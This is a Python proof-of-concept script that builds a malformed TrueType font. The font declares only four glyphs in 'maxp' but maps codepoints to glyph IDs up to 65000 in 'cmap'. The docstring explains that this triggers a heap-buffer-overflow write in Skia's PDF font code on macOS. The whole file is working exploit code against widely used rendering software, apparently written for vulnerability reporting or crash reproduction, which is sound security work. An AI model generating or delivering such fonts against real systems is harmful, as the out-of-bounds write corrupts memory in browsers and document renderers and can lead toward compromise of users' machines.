#!/usr/bin/env python3
"""
Generate a minimal TrueType font whose 'maxp' table declares a small
numGlyphs value (N) but whose 'cmap' format-4 subtable maps BMP
codepoints to glyph IDs far above N.

When this font is loaded on macOS via
CTFontManagerCreateFontDescriptorFromData (the path taken by
SkTypeface_Mac::MakeFromStream — no OTS sanitisation) and Skia later
calls populate_glyph_to_unicode_slow(), CTFontGetGlyphsForCharacters
returns the raw cmap glyph IDs and Skia writes:

    out[glyph] = unichar;   // glyph in [N, 65535], out has N entries

i.e. a heap-buffer-overflow WRITE of 4 bytes per mapped codepoint.

Output: oob.ttf
"""

import struct
import sys

# ---------------------------------------------------------------------------
# Tunables
# ---------------------------------------------------------------------------

# numGlyphs declared in 'maxp'.  The glyph->unicode buffer in
# SkPDFFont::GetUnicodeMap is sized to exactly this many SkUnichar (4 B).
NUM_GLYPHS = 4

# (codepoint -> glyph id) mappings to put in cmap.
# Glyph IDs are deliberately >= NUM_GLYPHS so that out[glyph] is OOB.
# populate_glyph_to_unicode_slow iterates codepoints from 0 upward and
# decrements its loop counter once per *new* glyph slot written, so we
# need at least NUM_GLYPHS distinct glyph IDs for the loop to terminate
# (otherwise it keeps scanning the whole BMP, which is fine for ASAN
# purposes — the very first OOB write already trips it).
MAPPINGS = [
    (0x0041, 100),     # 'A' -> glyph 100   ->  OOB write at +100*4
    (0x0042, 1000),    # 'B' -> glyph 1000  ->  OOB write at +1000*4
    (0x0043, 30000),   # 'C' -> glyph 30000 ->  OOB write at +30000*4
    (0x0044, 65000),   # 'D' -> glyph 65000 ->  OOB write at +65000*4
]

UNITS_PER_EM = 1024

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def be16(v): return struct.pack(">H", v & 0xFFFF)
def be16s(v): return struct.pack(">h", v)
def be32(v): return struct.pack(">I", v & 0xFFFFFFFF)
def be32s(v): return struct.pack(">i", v)
def be64(v): return struct.pack(">q", v)

def tag(s): return s.encode("ascii")

def calc_checksum(data: bytes) -> int:
    # Pad to 4 bytes
    pad = (-len(data)) % 4
    data = data + b"\x00" * pad
    s = 0
    for i in range(0, len(data), 4):
        s = (s + struct.unpack(">I", data[i:i+4])[0]) & 0xFFFFFFFF
    return s

# ---------------------------------------------------------------------------
# Table builders
# ---------------------------------------------------------------------------

def build_head():
    # 54 bytes
    return (
        be32(0x00010000) +          # version 1.0
        be32(0x00010000) +          # fontRevision
        be32(0) +                   # checkSumAdjustment (patched later)
        be32(0x5F0F3CF5) +          # magic
        be16(0x000B) +              # flags
        be16(UNITS_PER_EM) +        # unitsPerEm
        be64(0) +                   # created
        be64(0) +                   # modified
        be16s(0) + be16s(0) +       # xMin yMin
        be16s(UNITS_PER_EM) +       # xMax
        be16s(UNITS_PER_EM) +       # yMax
        be16(0) +                   # macStyle
        be16(8) +                   # lowestRecPPEM
        be16s(2) +                  # fontDirectionHint
        be16s(0) +                  # indexToLocFormat (short)
        be16s(0)                    # glyphDataFormat
    )

def build_hhea(num_hmetrics):
    return (
        be32(0x00010000) +          # version
        be16s(800) +                # ascender
        be16s(-200) +               # descender
        be16s(0) +                  # lineGap
        be16(UNITS_PER_EM) +        # advanceWidthMax
        be16s(0) +                  # minLeftSideBearing
        be16s(0) +                  # minRightSideBearing
        be16s(UNITS_PER_EM) +       # xMaxExtent
        be16s(1) +                  # caretSlopeRise
        be16s(0) +                  # caretSlopeRun
        be16s(0) +                  # caretOffset
        be16s(0) * 4 +              # reserved
        be16s(0) +                  # metricDataFormat
        be16(num_hmetrics)          # numberOfHMetrics
    )

def build_maxp(num_glyphs):
    # Version 1.0 maxp (TrueType outlines)
    return (
        be32(0x00010000) +          # version 1.0
        be16(num_glyphs) +          # numGlyphs  <-- attacker-controlled small N
        be16(0) +                   # maxPoints
        be16(0) +                   # maxContours
        be16(0) +                   # maxCompositePoints
        be16(0) +                   # maxCompositeContours
        be16(1) +                   # maxZones
        be16(0) +                   # maxTwilightPoints
        be16(0) +                   # maxStorage
        be16(0) +                   # maxFunctionDefs
        be16(0) +                   # maxInstructionDefs
        be16(0) +                   # maxStackElements
        be16(0) +                   # maxSizeOfInstructions
        be16(0) +                   # maxComponentElements
        be16(0)                     # maxComponentDepth
    )

def build_hmtx(num_glyphs):
    # one longHorMetric per glyph
    return b"".join(be16(UNITS_PER_EM) + be16s(0) for _ in range(num_glyphs))

def build_loca(num_glyphs):
    # short format, all glyphs empty -> num_glyphs+1 zero entries
    return be16(0) * (num_glyphs + 1)

def build_glyf():
    return b""  # all glyphs empty

def build_post():
    return (
        be32(0x00030000) +          # version 3.0 (no glyph names)
        be32(0) +                   # italicAngle
        be16s(0) +                  # underlinePosition
        be16s(0) +                  # underlineThickness
        be32(0) +                   # isFixedPitch
        be32(0) * 4                 # min/max mem
    )

def build_name():
    family = "OOBFont".encode("utf-16-be")
    sub    = "Regular".encode("utf-16-be")
    full   = "OOBFont Regular".encode("utf-16-be")
    ps     = "OOBFont-Regular".encode("utf-16-be")
    recs = [
        (3, 1, 0x0409, 1, family),
        (3, 1, 0x0409, 2, sub),
        (3, 1, 0x0409, 4, full),
        (3, 1, 0x0409, 6, ps),
    ]
    storage = b""
    rec_bytes = b""
    for plat, enc, lang, nid, s in recs:
        rec_bytes += be16(plat) + be16(enc) + be16(lang) + be16(nid)
        rec_bytes += be16(len(s)) + be16(len(storage))
        storage += s
    header = be16(0) + be16(len(recs)) + be16(6 + 12 * len(recs))
    return header + rec_bytes + storage

def build_OS2():
    panose = b"\x00" * 10
    vendor = b"OOBF"
    return (
        be16(4) +                   # version
        be16s(500) +                # xAvgCharWidth
        be16(400) +                 # usWeightClass
        be16(5) +                   # usWidthClass
        be16(0) +                   # fsType
        be16s(0) * 10 +             # subscript/superscript/strikeout metrics
        be16s(0) +                  # sFamilyClass
        panose +
        be32(0) * 4 +               # ulUnicodeRange1..4
        vendor +
        be16(0x0040) +              # fsSelection (REGULAR)
        be16(0x0041) +              # usFirstCharIndex
        be16(0x0044) +              # usLastCharIndex
        be16s(800) +                # sTypoAscender
        be16s(-200) +               # sTypoDescender
        be16s(0) +                  # sTypoLineGap
        be16(800) +                 # usWinAscent
        be16(200) +                 # usWinDescent
        be32(0) * 2 +               # ulCodePageRange1..2
        be16s(500) +                # sxHeight
        be16s(700) +                # sCapHeight
        be16(0) +                   # usDefaultChar
        be16(0x0020) +              # usBreakChar
        be16(0)                     # usMaxContext
    )

def build_cmap(mappings):
    """
    cmap with one format-4 subtable (platform 3 / encoding 1).
    Each mapping is encoded as its own single-codepoint segment so that
    arbitrary glyph IDs (including > numGlyphs) can be expressed via
    idDelta without a glyphIdArray.
    """
    mappings = sorted(mappings)
    seg_count = len(mappings) + 1   # +1 terminator segment 0xFFFF

    end_codes   = [cp for cp, _ in mappings] + [0xFFFF]
    start_codes = [cp for cp, _ in mappings] + [0xFFFF]
    id_deltas   = [(gid - cp) & 0xFFFF for cp, gid in mappings] + [1]
    id_range_off = [0] * seg_count

    # searchRange / entrySelector / rangeShift
    sel = 0
    while (1 << (sel + 1)) <= seg_count:
        sel += 1
    search_range = 2 * (1 << sel)
    range_shift  = 2 * seg_count - search_range

    sub = (
        be16(4) +                       # format
        be16(0) +                       # length (patched below)
        be16(0) +                       # language
        be16(seg_count * 2) +           # segCountX2
        be16(search_range) +
        be16(sel) +
        be16(range_shift) +
        b"".join(be16(v) for v in end_codes) +
        be16(0) +                       # reservedPad
        b"".join(be16(v) for v in start_codes) +
        b"".join(be16(v) for v in id_deltas) +
        b"".join(be16(v) for v in id_range_off)
    )
    sub = sub[:2] + be16(len(sub)) + sub[4:]

    # cmap header: 1 encoding record (3,1)
    header = be16(0) + be16(1)
    enc_rec = be16(3) + be16(1) + be32(4 + 8)
    return header + enc_rec + sub

# ---------------------------------------------------------------------------
# Assemble SFNT
# ---------------------------------------------------------------------------

def build_font():
    tables = {
        "OS/2": build_OS2(),
        "cmap": build_cmap(MAPPINGS),
        "glyf": build_glyf(),
        "head": build_head(),
        "hhea": build_hhea(NUM_GLYPHS),
        "hmtx": build_hmtx(NUM_GLYPHS),
        "loca": build_loca(NUM_GLYPHS),
        "maxp": build_maxp(NUM_GLYPHS),
        "name": build_name(),
        "post": build_post(),
    }
    order = sorted(tables.keys())
    n = len(order)

    sel = 0
    while (1 << (sel + 1)) <= n:
        sel += 1
    search_range = (1 << sel) * 16
    range_shift  = n * 16 - search_range

    offset_table = (
        be32(0x00010000) +
        be16(n) +
        be16(search_range) +
        be16(sel) +
        be16(range_shift)
    )

    dir_size = 16 * n
    data_off = 12 + dir_size
    body = b""
    records = b""
    offsets = {}
    for t in order:
        td = tables[t]
        # pad to 4
        pad = (-len(td)) % 4
        offsets[t] = data_off + len(body)
        records += tag(t) + be32(calc_checksum(td)) + be32(offsets[t]) + be32(len(td))
        body += td + b"\x00" * pad

    font = offset_table + records + body

    # Fix head.checkSumAdjustment
    head_off = offsets["head"]
    total = calc_checksum(font)
    adj = (0xB1B0AFBA - total) & 0xFFFFFFFF
    font = font[:head_off + 8] + be32(adj) + font[head_off + 12:]
    return font

if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "oob.ttf"
    data = build_font()
    with open(out, "wb") as f:
        f.write(data)
    print(f"wrote {out}: {len(data)} bytes, "
          f"maxp.numGlyphs={NUM_GLYPHS}, "
          f"cmap maps {len(MAPPINGS)} codepoints to glyph IDs "
          f"{[g for _, g in MAPPINGS]}")
